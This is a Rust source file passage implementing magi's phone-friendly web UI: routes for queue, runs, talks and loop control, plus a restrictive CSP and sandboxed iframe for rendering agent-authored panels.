Skip to main content

magi/
web.rs

1//! The web UI: magi's queue and run history, readable from a phone.
2//!
3//! The terminal is the wrong surface for the two things an operator actually
4//! does between runs — file a task and check whether the last competition
5//! landed. Both happen away from the desk, so they get an HTTP surface: a
6//! handful of JSON routes and three embedded files.
7//!
8//! # One binary
9//!
10//! `index.html`, `app.css` and `app.js` are compiled in with [`include_str!`].
11//! There is no `--assets-dir` and no filesystem fallback, because a UI that
12//! reads its own front end from disk breaks the moment the binary is copied
13//! somewhere else — which is exactly what `cargo install magi-cli` does. No
14//! JS toolchain, no CDN, no remote font: everything the phone needs arrives
15//! from this process.
16//!
17//! # No authentication
18//!
19//! There is none, deliberately, and the startup log says so. The tailnet is
20//! the security boundary: `--bind auto` resolves to this machine's Tailscale
21//! address, so the UI is reachable from the operator's own devices and from
22//! nothing else. Anyone who can open the URL can file and hold tasks, which is
23//! why binding to `0.0.0.0` is not offered and why the fallback when Tailscale
24//! is missing is loopback rather than every interface.
25//!
26//! # Change notification
27//!
28//! A phone must not poll a full run list on a mobile link. `GET /api/events`
29//! is a server-sent stream carrying nothing but two revision numbers — the
30//! newest modification time in the queue and under the runs directory — so the
31//! client refetches only what moved. The browser's own SSE reconnection covers
32//! a sleeping phone; there is no session to lose.
33//!
34//! # Reading state must never take the server down
35//!
36//! A corrupt `run.json` is skipped in the list and explained with a 500 on the
37//! detail route. No handler unwraps a filesystem or parse result: a single bad
38//! file left by a killed run would otherwise turn the whole history into a
39//! blank page.
40//!
41//! # Agent-authored HTML, rendered anyway
42//!
43//! Everything else here refuses to put API data into the document: `app.js`
44//! builds nodes and sets `textContent`, and even an href from a run record is
45//! laundered first. A confirmation panel breaks that rule on purpose - an
46//! agent asking the owner to approve a merge needs a diff and a table, not one
47//! line of prose - and the only reason it is acceptable is that the panel is
48//! never part of this document.
49//!
50//! It is served by [`question_panel`] and [`question_asset`] and rendered in an
51//! `<iframe sandbox>` carrying no tokens: no `allow-scripts`, no
52//! `allow-same-origin`. So no script in a panel runs, and the frame cannot
53//! reach the parent document, the cookie jar or `localStorage`. On top of that
54//! both routes send [`PANEL_CSP`], which denies every network destination, so a
55//! panel cannot phone home through a remote image or a beacon either - the two
56//! things it may load, images and inline CSS, are the two things free
57//! formatting actually needs. Assets come from the question's own directory and
58//! never from the network, and their content types come from a closed
59//! whitelist, so an agent cannot get markup rendered outside the frame by
60//! naming a file `.html`.
61//!
62//! # A conversation turn is not a filesystem read
63//!
64//! Every other route here is disk work, which is why [`blocking`] exists.
65//! `POST /api/talks/{id}/say` is the exception: it spawns an agent CLI and
66//! waits tens of seconds for a sentence. It is a plain `await` holding no lock
67//! and no executor thread, and concurrent turns on one talk are refused rather
68//! than queued - see [`Ui::begin_talk_turn`].
69//!
70//! # The loop runs here
71//!
72//! `magi web` runs the queue loop in this process, started and stopped from
73//! `/api/loop`. That is the point of the whole surface: a task filed from a
74//! phone with nobody around to type `magi serve` is a task that sits in the
75//! queue until someone walks back to the machine.
76//!
77//! It is a tokio task holding a [`daemon::Stop`], not a child process. There
78//! is no pid file of this module's own and nothing to supervise - a child
79//! would need reaping, a second copy of the daemon's retry policy, and a
80//! story for what happens when `magi web` dies with the loop still running.
81//! `<home>/daemon.json`, which the loop itself writes, stays the only
82//! cross-process signal, and it is how this process notices that the
83//! operator's own `magi serve` already owns the loop and refuses to start a
84//! second one that would fight it for claims.
85//!
86//! Stopping is cooperative and therefore not instant. A run in flight is
87//! finished first, for the reason [`daemon::serve`] gives: killing the graph
88//! mid-node leaves worktrees, branches and agent sessions behind and throws
89//! away every agent call already paid for. `POST /api/loop` sets the flag and
90//! answers immediately rather than waiting, because the wait is measured in
91//! tens of minutes and the operator is holding a phone.
92
93use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::body::Bytes;
106use axum::extract::rejection::JsonRejection;
107use axum::extract::{DefaultBodyLimit, Path, Query, State};
108use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
109use axum::response::sse::{Event, KeepAlive, Sse};
110use axum::response::{IntoResponse, Response};
111use axum::routing::{delete, get, post};
112use jiff::Timestamp;
113use serde::{Deserialize, Serialize};
114use tokio_stream::StreamExt as _;
115use tokio_stream::wrappers::ReceiverStream;
116
117use crate::ask::{self, Answer, Question, Questions};
118use crate::config::{Config, Update, UpdateMode};
119use crate::md;
120use crate::notices::{Notice, Notices};
121use crate::proc::Quiet as _;
122use crate::queue::{Queue, Task, title_from};
123use crate::run::{RunState, RunStatus};
124use crate::talk::{Talk, Talks};
125use crate::{daemon, git, report, repos, run, stats, talk, updater};
126
127/// Default port. Chosen high and memorable; nothing else in the fleet uses it.
128pub const DEFAULT_PORT: u16 = 7878;
129
130/// How often the change stream restats the queue and the runs directory.
131const POLL: Duration = Duration::from_secs(1);
132
133/// Keep-alive interval for the change stream. Phones and intermediaries drop
134/// an idle connection within a minute; a comment every fifteen seconds keeps
135/// the stream alive without waking the radio often enough to matter.
136const KEEPALIVE: Duration = Duration::from_secs(15);
137
138/// Ceiling on how long [`run_update_recheck`] ever sleeps between wake-ups.
139///
140/// A fixed period this long would not track a `[update] interval` shorter
141/// than itself: an operator who set `interval = "1m"` to make the deck
142/// notice a release within a minute would still wait up to fifteen of them
143/// for the next wake-up to even ask [`updater::Checker::should_check`].
144/// [`recheck_poll_period`] scales the sleep with the configured interval
145/// instead, and this is only its ceiling - reached at the default interval
146/// of a day, where waking any more often would just spend cycles asking a
147/// question that stays "no" for hours.
148const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
149
150/// Floor on the same, so a very short `[update] interval` cannot spin
151/// [`run_update_recheck`] in a near-busy loop.
152const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
153
154/// Runs returned when the client does not ask, and the ceiling if it asks for
155/// more. The cap exists because the list handler parses every `run.json` it
156/// returns, and a phone cannot render two thousand rows anyway.
157const LIST_DEFAULT: usize = 50;
158/// Upper bound for `?limit=`.
159const LIST_MAX: usize = 500;
160
161/// Width of a generated task title, matching what the CLI uses.
162const TITLE_MAX: usize = 72;
163
164/// Per-file cap for an attachment upload.
165///
166/// Enforced twice: axum's own body limit is raised one byte above this, only
167/// on the two attachment `POST` routes (see the router - every other route
168/// keeps the crate-wide default), so an oversize body is still read far
169/// enough to answer with our own message below rather than axum's generic
170/// one; this constant is what that message and the boundary check actually
171/// compare against.
172const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
173
174/// The image types an attachment upload accepts - a closed whitelist, the
175/// same posture [`asset_content_type`] takes for panel assets and for the
176/// same reason: SVG is excluded on purpose because it is active content
177/// (it may carry `<script>`) and not merely a picture, so it never appears
178/// here even though `image/svg+xml` is a real IANA type.
179const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
180
181/// Header carrying the operator's own filename. Free text, stored only for
182/// display - see [`talk::Attachment::name`]'s doc on why it never
183/// contributes to a path.
184const FILENAME_HEADER: &str = "x-filename";
185
186/// The header that makes serving agent-authored HTML defensible, sent by both
187/// panel routes and asserted verbatim by a test.
188///
189/// Read it as a list of things a hostile panel cannot do. `default-src 'none'`
190/// denies every fetch destination that is not re-allowed below, which is all of
191/// them except images and fonts; `img-src 'self' data:` means an image comes
192/// from magi's own asset route or from the document itself, so a panel cannot
193/// signal an outside server by pointing an `<img>` at it - the classic
194/// exfiltration channel for markup that cannot run script. `style-src
195/// 'unsafe-inline'` is the one permission granted, because inline CSS is what
196/// free formatting means here and a style sheet cannot make a request that
197/// `default-src` has not already allowed. `base-uri 'none'` stops a `<base>`
198/// tag re-pointing the relative asset URLs somewhere else, `form-action 'none'`
199/// stops a form posting the owner's decision to a third party, and
200/// `frame-ancestors 'self'` stops another site framing the panel to phish with
201/// it.
202///
203/// There is deliberately no `script-src`: `default-src 'none'` already covers
204/// it, and the sandboxed frame carries no `allow-scripts` either, so script is
205/// denied twice over. Weakening any directive here is the difference between a
206/// panel the owner reads and a page that can talk to the tailnet, which is why
207/// the test compares the whole string rather than looking for a substring.
208const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
209                         font-src data:; base-uri 'none'; form-action 'none'; \
210                         frame-ancestors 'self'";
211
212const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
213const APP_CSS: &str = include_str!("../assets/ui/app.css");
214const APP_JS: &str = include_str!("../assets/ui/app.js");
215
216/// Which address to listen on.
217#[derive(Debug, Clone, Copy, PartialEq, Eq)]
218pub enum Bind {
219    /// Ask Tailscale, and fall back to loopback with a warning.
220    Auto,
221    /// An address the operator named.
222    Addr(IpAddr),
223}
224
225impl std::str::FromStr for Bind {
226    type Err = String;
227
228    /// `auto`, or anything [`IpAddr`] accepts. Parsing lives with the type so
229    /// the CLI can take `--bind` straight into it: the one spelling of
230    /// `auto` that matters is the one this function knows.
231    fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
232        if s.eq_ignore_ascii_case("auto") {
233            return Ok(Self::Auto);
234        }
235        s.parse()
236            .map(Self::Addr)
237            .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
238    }
239}
240
241impl std::fmt::Display for Bind {
242    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
243        match self {
244            Self::Auto => f.write_str("auto"),
245            Self::Addr(addr) => write!(f, "{addr}"),
246        }
247    }
248}
249
250/// How to serve.
251#[derive(Debug, Clone)]
252pub struct Opts {
253    /// Address to listen on.
254    pub bind: Bind,
255    /// Port to listen on.
256    pub port: u16,
257    /// Repository used for tasks posted without one.
258    pub repo: PathBuf,
259    /// Print the URL on its own line for a caller that wants to hand it to a
260    /// browser. magi never launches one itself.
261    pub open: bool,
262    /// Merge mode override for the loop this process runs (`none`, `local`,
263    /// `pr`); `None` leaves it to each repository's own config.
264    ///
265    /// The same override `magi serve --merge` takes, and here for the same
266    /// reason: `magi web` is now the thing that runs the loop, so an operator
267    /// who wants this session's runs to open pull requests has to be able to
268    /// say so without going back to the command they no longer type.
269    pub merge: Option<String>,
270}
271
272impl Default for Opts {
273    fn default() -> Self {
274        Self {
275            bind: Bind::Auto,
276            port: DEFAULT_PORT,
277            repo: PathBuf::from("."),
278            open: false,
279            merge: None,
280        }
281    }
282}
283
284/// Everything the handlers touch.
285///
286/// The queue, the runs directory and the magi home are fields rather than
287/// process-global lookups so a test drives the real router against a temp
288/// directory instead of the operator's own history.
289#[derive(Debug, Clone)]
290pub struct Ui {
291    queue: Queue,
292    questions: Questions,
293    /// `<home>/notifications`, the bell's own store. Derived from `home` in
294    /// [`Ui::new`] so no constructor signature had to grow.
295    notices: Notices,
296    talks: Talks,
297    runs: PathBuf,
298    home: PathBuf,
299    repo: PathBuf,
300    /// Where the runs' worktrees live, for the health disk figures.
301    ///
302    /// Spelled independently of [`crate::run::default_worktree_root`] so the
303    /// test servers can point it at their own temp directory: the health route
304    /// sizes it, and sizing the operator's real `~/wt/magi` from a test would
305    /// be measuring the machine instead of the server.
306    worktrees_root: PathBuf,
307    /// Talks with an agent turn in flight right now.
308    ///
309    /// In-process and therefore not durable, which is correct: it guards
310    /// against two taps on one phone and two phones on one tailnet, both of
311    /// which are this process's own concurrency. A second `magi web` would not
312    /// see it, and a second `magi web` on the same home is already a
313    /// misconfiguration the queue's claims would catch first.
314    talk_turns: Arc<Mutex<TalkTurns>>,
315    /// Runs this process is resuming right now.
316    ///
317    /// Separate from `talk_turns` because a run and a talk are different
318    /// things to hold, and a resume is far more expensive to start twice: it
319    /// re-asks agent seats. Same reasoning about scope as `talk_turns` — this
320    /// guards two taps and two phones, which is this process's own
321    /// concurrency.
322    resuming: Arc<Mutex<HashSet<String>>>,
323    /// The last scan of `[repos] roots`, and when it happened. Shared across
324    /// requests so polling `GET /api/repos` repeatedly does not repeat the
325    /// filesystem walk every time - see [`repos::Cache`].
326    repos_cache: repos::Cache,
327    /// Merge mode override handed to the loop this process starts.
328    merge: Option<String>,
329    /// The loop this process is running, if it is running one.
330    looping: Arc<Mutex<LoopState>>,
331    /// How a loop is actually started.
332    ///
333    /// A field rather than a direct call to [`daemon::serve_until`], because
334    /// the real loop resolves its queue and its status file through the
335    /// process-global magi home and claims whatever it finds there. A test
336    /// that started it would reach straight past its own temp directory into
337    /// the operator's live queue, overwrite the status file of the `magi
338    /// serve` that owns it, and spend real agent quota on a real competition.
339    /// What the routes have to get right is the bookkeeping, so the tests
340    /// drive the routes against a loop that only starts and stops; production
341    /// is [`launch_daemon`] and nothing reassigns it.
342    launch: Launch,
343    /// A test-only stop point inside `talk_say`'s busy branch. See
344    /// [`BusyQueueGate`].
345    #[cfg(test)]
346    busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
347}
348
349/// A one-shot stop point the busy branch's queued-draft write can be made to
350/// pause at, right before [`talk::queue`] runs.
351///
352/// Exists because a test cannot otherwise pin *when*, relative to the turn
353/// slot being freed, that write happens: `blocking` runs it on
354/// `spawn_blocking`, whose `JoinHandle` resolves in a single poll if the job
355/// already finished, so counting polls on the handler future to park it at a
356/// particular `.await` is a guess about scheduling, not a fact about it - see
357/// `a_dropped_handler_future_after_queueing_still_drains_the_draft`, which
358/// used to do exactly that and paid for it with an occasional "async fn
359/// resumed after completion" panic under load.
360///
361/// `reached` fires the instant the write is about to run, so a test waits for
362/// a real event instead of a poll count. `release` then blocks the write
363/// until the test says to continue; it is a `std::sync::mpsc::Receiver`
364/// rather than an async channel because this all happens inside the
365/// `spawn_blocking` closure the write already runs on, off any runtime
366/// worker, so blocking here costs nothing the write was not already going to
367/// cost.
368#[cfg(test)]
369struct BusyQueueGate {
370    reached: tokio::sync::oneshot::Sender<()>,
371    release: std::sync::mpsc::Receiver<()>,
372}
373
374#[cfg(test)]
375impl std::fmt::Debug for BusyQueueGate {
376    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
377        f.debug_struct("BusyQueueGate").finish_non_exhaustive()
378    }
379}
380
381impl Ui {
382    /// A server over explicit paths.
383    pub fn new(
384        queue: Queue,
385        questions: Questions,
386        talks: Talks,
387        runs: PathBuf,
388        home: PathBuf,
389        repo: PathBuf,
390    ) -> Self {
391        Self {
392            queue,
393            questions,
394            notices: Notices::at(home.join("notifications")),
395            talks,
396            runs,
397            home,
398            repo,
399            // The default location, overridden by `with_worktrees_root` - a
400            // builder step rather than a ninth parameter, for the reason
401            // `with_merge` gives.
402            worktrees_root: run::default_worktree_root(),
403            talk_turns: Arc::default(),
404            resuming: Arc::default(),
405            repos_cache: repos::Cache::new(),
406            merge: None,
407            looping: Arc::default(),
408            launch: launch_daemon,
409            #[cfg(test)]
410            busy_queue_gate: Arc::default(),
411        }
412    }
413
414    /// The operator's own state: `<home>/queue`, `<home>/questions`,
415    /// `<home>/talks`, `<home>/runs`.
416    pub fn open(repo: PathBuf) -> Self {
417        Self::new(
418            Queue::open(),
419            Questions::open(),
420            Talks::open(),
421            run::runs_root(),
422            run::home(),
423            repo,
424        )
425    }
426
427    /// The merge mode the loop should use, as the command line gave it.
428    ///
429    /// A builder step rather than a seventh parameter on [`Ui::new`], because
430    /// the override is a property of how this process was invoked and not of
431    /// where its state lives - which is all the tests that build a `Ui` by
432    /// hand are saying.
433    #[must_use]
434    pub fn with_merge(mut self, merge: Option<String>) -> Self {
435        self.merge = merge;
436        self
437    }
438
439    /// Where the runs' worktrees live, when it is not the default.
440    ///
441    /// The health view sizes this directory, so a test that leaves it at the
442    /// default would be measuring the operator's own machine.
443    #[must_use]
444    pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
445        self.worktrees_root = root;
446        self
447    }
448
449    /// Point the loop at something other than [`launch_daemon`].
450    ///
451    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
452    /// this crate may start the real loop.
453    #[cfg(test)]
454    #[must_use]
455    fn with_launch(mut self, launch: Launch) -> Self {
456        self.launch = launch;
457        self
458    }
459
460    /// Install a [`BusyQueueGate`] for the next pass through the busy
461    /// branch's queued-draft write, replacing any earlier one.
462    ///
463    /// A setter on `&self` rather than a `with_*` builder consumed once,
464    /// because a test that drives the busy branch more than once (as
465    /// `a_dropped_handler_future_after_queueing_still_drains_the_draft` does,
466    /// to build confidence the interleaving is handled deterministically and
467    /// not just on a lucky run) needs a fresh channel pair each time, on the
468    /// one `Ui` it already built its temp directories around.
469    #[cfg(test)]
470    fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
471        *self
472            .busy_queue_gate
473            .lock()
474            .unwrap_or_else(PoisonError::into_inner) = Some(gate);
475    }
476
477    /// The loop's state, for [`serve`]'s own way out.
478    fn looping(&self) -> Arc<Mutex<LoopState>> {
479        Arc::clone(&self.looping)
480    }
481
482    /// Start the loop in this process, or say who already has one.
483    ///
484    /// `foreign` is passed in rather than read here so that one request makes
485    /// one judgement about who owns the loop: reading the status file again
486    /// inside this function could refuse a start for a daemon the same
487    /// response then reports as gone.
488    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
489        if let Some(other) = foreign {
490            return Err(ApiError::conflict(format!(
491                "{} is already running the loop, so this one will not start a \
492                 second: two loops on one queue race for the same claims and \
493                 burn the agent quota twice over. Stop it where it was \
494                 started.",
495                other.who()
496            )));
497        }
498        let mut state = self.lock_loop();
499        if state.live.as_ref().is_some_and(Live::alive) {
500            return Err(ApiError::conflict(format!(
501                "this magi web process (pid {}) is already running the loop",
502                std::process::id()
503            )));
504        }
505
506        let stop = daemon::Stop::new();
507        // The CLI's own defaults for everything the UI has no opinion about:
508        // one poll interval and one retry budget, so a loop started from a
509        // phone behaves exactly like the `magi serve` it replaces.
510        let opts = daemon::Opts {
511            repo: self.repo.clone(),
512            merge: self.merge.clone(),
513            // Whatever this `Ui` already reports worktree sizes and folds
514            // against (see `with_worktrees_root`) is what the loop it starts
515            // must reclaim orphaned worktrees under too - two different
516            // opinions about where the worktree bay is would leave the
517            // janitor pass reclaiming a directory nothing else on this
518            // process is even looking at.
519            worktrees_root: Some(self.worktrees_root.clone()),
520            ..daemon::Opts::default()
521        };
522        let launch = self.launch;
523        let looping = Arc::clone(&self.looping);
524        let handle = tokio::spawn({
525            let opts = opts.clone();
526            let stop = stop.clone();
527            async move {
528                let failure = match launch(opts, stop).await {
529                    Ok(()) => None,
530                    Err(e) => Some(format!("{e:#}")),
531                };
532                match &failure {
533                    Some(why) => tracing::error!("the loop stopped: {why}"),
534                    None => tracing::info!("the loop stopped"),
535                }
536                // Recorded by the task itself rather than reaped by whichever
537                // request happens next, so `loop_rev` moves the moment the
538                // loop ends and a phone with the change stream open learns
539                // that it did. Clearing `live` drops this task's own handle,
540                // which only detaches it, and is the last thing it does.
541                let mut state = lock_or_recover(&looping);
542                state.live = None;
543                state.last_error = failure;
544                state.rev += 1;
545            }
546        });
547        tracing::info!(
548            "the loop is now running in this process: repo {}, merge {}",
549            opts.repo.display(),
550            opts.merge.as_deref().unwrap_or("as the config says")
551        );
552        state.live = Some(Live { stop, handle, opts });
553        // A fresh start is not the place to keep showing why the last one
554        // died; the operator has read it and pressed the button anyway.
555        state.last_error = None;
556        state.rev += 1;
557        Ok(())
558    }
559
560    /// Ask the loop to stop, without waiting for it to get there.
561    ///
562    /// Idempotent: a second tap on stop is not an error, because the first one
563    /// leaves the loop running for as long as the run in flight takes and the
564    /// operator has no way to tell a slow stop from a lost one.
565    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
566        if let Some(other) = foreign {
567            return Err(ApiError::conflict(format!(
568                "the loop belongs to {}, and this process cannot stop it - \
569                 stop it where it was started. A button that silently did \
570                 nothing would be worse than this refusal.",
571                other.who()
572            )));
573        }
574        let mut state = self.lock_loop();
575        let Some(live) = state.live.as_ref() else {
576            return Ok(());
577        };
578        // A park upgrades a stop that has already been asked for: the
579        // operator who tapped "stop" and then realised the run has an hour
580        // left must not have to restart the loop to change their mind.
581        if live.stop.stopped() && (!park || live.stop.parking()) {
582            return Ok(());
583        }
584        if park {
585            live.stop.park();
586            tracing::info!("the loop was asked to park; the run stops at its next node boundary");
587        } else {
588            live.stop.stop();
589            tracing::info!("the loop was asked to stop; a run in flight is finished first");
590        }
591        state.rev += 1;
592        Ok(())
593    }
594
595    /// The loop as both `/api/loop` and `/api/health` report it.
596    ///
597    /// `reading` is the caller's single read of `<home>/daemon.json`, because
598    /// health answers with this view *and* the daemon object beside it: one
599    /// read per response is what stops a single answer naming a foreign owner
600    /// in one field and calling the loop free in the other.
601    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
602        let state = self.lock_loop();
603        // A loop that panicked never recorded its own end, so the handle -
604        // not the presence of the record - is what "running" means.
605        let live = state.live.as_ref().filter(|live| live.alive());
606        LoopView {
607            running: live.is_some(),
608            stopping: live.is_some_and(|live| live.stop.finishing()),
609            parking: live.is_some_and(|live| live.stop.parking()),
610            owned: live.is_some(),
611            repo: live
612                .map_or(&self.repo, |live| &live.opts.repo)
613                .display()
614                .to_string(),
615            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
616            last_error: state.last_error.clone(),
617            daemon: DaemonView::of(reading),
618        }
619    }
620
621    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
622    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
623        lock_or_recover(&self.looping)
624    }
625
626    /// Whether this process currently owns the agent turn for `id`.
627    ///
628    /// This deliberately describes only the in-memory claim made by
629    /// [`Ui::begin_talk_turn`]. It is not conversation data and therefore is
630    /// never persisted with a [`Talk`].
631    fn is_thinking(&self, id: &str) -> bool {
632        self.talk_turns
633            .lock()
634            .is_ok_and(|turns| turns.live.contains(id))
635    }
636
637    /// Claim the right to run one turn in a talk, or report that it is busy.
638    ///
639    /// A talk is strictly turn-based: the agent is resumed with the
640    /// conversation it already has, so two turns running at once would resume
641    /// the same session twice and append their answers in whatever order the
642    /// two CLIs finished in. The operator would come back to a transcript
643    /// with two half-turns interleaved, which is unreadable and, worse,
644    /// unfixable - there is no undo for a persisted turn.
645    ///
646    /// A busy result is queued as a durable draft by [`talk_say`], rather than
647    /// starting a second CLI invocation for the same session.
648    ///
649    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
650    /// taken to test-and-insert and released before the agent is spawned. The
651    /// returned guard removes the id on drop, which is what makes a panicking
652    /// handler or a phone that walks out of range leave the talk usable - axum
653    /// drops the handler future when the client disconnects, and without the
654    /// guard that talk would be wedged until the server restarted.
655    fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
656        self.claim_talk_turn(id, false)
657    }
658
659    /// Claim a turn after durably queueing a draft, or notify its current
660    /// owner that a drainer must recheck before it releases the slot.
661    fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
662        self.claim_talk_turn(id, true)
663    }
664
665    fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
666        let mut live = self
667            .talk_turns
668            .lock()
669            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
670        if !live.live.insert(id.to_owned()) {
671            if queued {
672                // A queued write has landed before this busy check.
673                // `drain_loop` uses this generation to recheck after its
674                // off-thread disk read, so it cannot release a turn between
675                // this check and the write.
676                *live.queued.entry(id.to_owned()).or_default() += 1;
677            }
678            return Ok(None);
679        }
680        Ok(Some(TalkTurnGuard {
681            talk: id.to_owned(),
682            turns: Arc::clone(&self.talk_turns),
683            released: false,
684        }))
685    }
686
687    /// Decide whether a free talk may start a new immediate turn while its
688    /// claim lock is held. A persisted draft without an owner is recovery
689    /// state, not a busy turn: two simultaneous `/say` requests must both
690    /// leave it untouched rather than one of them appending to it.
691    fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
692        let mut live = self
693            .talk_turns
694            .lock()
695            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
696        if live.live.contains(id) {
697            return Ok(TalkTurnStart::Busy);
698        }
699        let talk = self.talks.get(id).map_err(ApiError::from)?;
700        if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
701            return Ok(TalkTurnStart::Pending);
702        }
703        live.live.insert(id.to_owned());
704        Ok(TalkTurnStart::Claimed(TalkTurnGuard {
705            talk: id.to_owned(),
706            turns: Arc::clone(&self.talk_turns),
707            released: false,
708        }))
709    }
710
711    /// Park the loop for an upgrade, and report the run that is parking.
712    ///
713    /// A park rather than a stop: a stop waits out the whole competition, and
714    /// not waiting is the point of upgrading from a phone. `None` means
715    /// nothing was in flight, which is worth saying so the operator is not
716    /// told a run is parking when none is.
717    fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
718        let parking = {
719            let mut state = self.lock_loop();
720            let Some(live) = state.live.as_ref() else {
721                return Ok(None);
722            };
723            let busy = live.stop.busy_now();
724            live.stop.park();
725            state.rev += 1;
726            busy
727        };
728        Ok(if parking {
729            // More than one run can be in flight now (see
730            // `Config::daemon.max_concurrent_runs`); this answer names one of
731            // them so the operator sees a park actually happened, not every
732            // run a park now asks to stop at its next boundary.
733            daemon::current_work(&self.home, jiff::Timestamp::now())
734                .into_iter()
735                .next()
736                .map(|c| c.run)
737        } else {
738            None
739        })
740    }
741
742    /// Claim a run for a resume, on the same reasoning as
743    /// [`Ui::begin_talk_turn`]: a guard that releases on drop, so a
744    /// disconnected phone does not wedge the run until the server restarts.
745    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
746        let mut live = self
747            .resuming
748            .lock()
749            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
750        if !live.insert(id.to_owned()) {
751            return Err(ApiError::conflict(format!(
752                "run {id} is already being resumed"
753            )));
754        }
755        Ok(ResumeGuard {
756            run: id.to_owned(),
757            resuming: Arc::clone(&self.resuming),
758        })
759    }
760
761    /// The router, with this state baked in.
762    ///
763    /// The three front-end files get one explicit route each rather than a
764    /// path parameter, so there is no traversal surface to get wrong: the set
765    /// of servable paths is the set written here. The asset route below is the
766    /// one exception and the only place in this server where a client names a
767    /// file; it is why [`valid_asset_name`] is checked before a path is built.
768    pub fn router(self) -> Router {
769        Router::new()
770            .route("/", get(index))
771            .route("/app.css", get(app_css))
772            .route("/app.js", get(app_js))
773            .route("/api/health", get(health))
774            .route("/api/loop", get(loop_get).post(loop_post))
775            .route("/api/upgrade", post(upgrade_post))
776            .route("/api/runs", get(runs_list))
777            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
778            .route("/api/runs/{id}/report", get(run_report))
779            .route("/api/runs/{id}/fold", post(run_fold))
780            .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
781            .route("/api/runs/{id}/resume", post(run_resume))
782            .route("/api/queue", get(queue_list))
783            .route("/api/stats", get(stats_get))
784            .route("/api/queue/{id}", delete(queue_delete))
785            .route("/api/repos", get(repos_list))
786            .route("/api/queue/{id}/hold", post(queue_hold))
787            .route("/api/queue/{id}/release", post(queue_release))
788            .route("/api/queue/{id}/priority", post(queue_priority))
789            .route("/api/queue/{id}/edit", post(queue_edit))
790            .route("/api/queue/{id}/done", post(queue_done))
791            .route("/api/questions", get(questions_list))
792            .route("/api/questions/{id}/answer", post(question_answer))
793            .route("/api/questions/{id}/say", post(question_say))
794            .route("/api/questions/{id}/panel", get(question_panel))
795            // The same asset, reachable from inside the panel by its bare
796            // filename. A document served at `.../panel` resolves `shot.png`
797            // to `.../shot.png`, which is not the asset route, so a panel
798            // written the way its author was told to write it showed broken
799            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
800            // it - deliberately - so the fix is that the panel's own URL ends
801            // in a filename and its siblings are the assets.
802            .route("/api/questions/{id}/panel/index.html", get(question_panel))
803            .route("/api/questions/{id}/panel/{name}", get(question_asset))
804            .route("/api/questions/{id}/asset/{name}", get(question_asset))
805            .route("/api/notifications", get(notifications_list))
806            .route("/api/notifications/read-all", post(notifications_read_all))
807            .route("/api/notifications/{id}/read", post(notification_read))
808            .route(
809                "/api/notifications/{id}/dismiss",
810                post(notification_dismiss),
811            )
812            .route("/api/talks", get(talks_list).post(talk_post))
813            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
814            .route("/api/talks/{id}/say", post(talk_say))
815            .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
816            .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
817            .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
818            .route("/api/talks/{id}/close", post(talk_close))
819            .route("/api/talks/{id}/reopen", post(talk_reopen))
820            // `DefaultBodyLimit` is raised only on this one route - every
821            // other route on this server answers in a few kilobytes, and
822            // widening the crate-wide default for all of them just because
823            // one accepts a picture would let any other handler be handed
824            // a multi-megabyte body it never expects.
825            .route(
826                "/api/talks/{id}/attachments",
827                post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
828            )
829            .route(
830                "/api/talks/{id}/attachments/{att}",
831                get(talk_attachment_get),
832            )
833            .route("/api/events", get(events))
834            .with_state(Arc::new(self))
835    }
836}
837
838/// One talk's turn slot, released on drop.
839///
840/// A guard rather than a matching `remove` at the end of the handler, because
841/// the handler has several early returns and one `await` that can be cancelled
842/// out from under it. A leaked id is a talk nobody can talk to again.
843#[derive(Debug)]
844struct TalkTurnGuard {
845    talk: String,
846    turns: Arc<Mutex<TalkTurns>>,
847    released: bool,
848}
849
850/// In-memory turn ownership plus the queue generation observed by a drainer.
851///
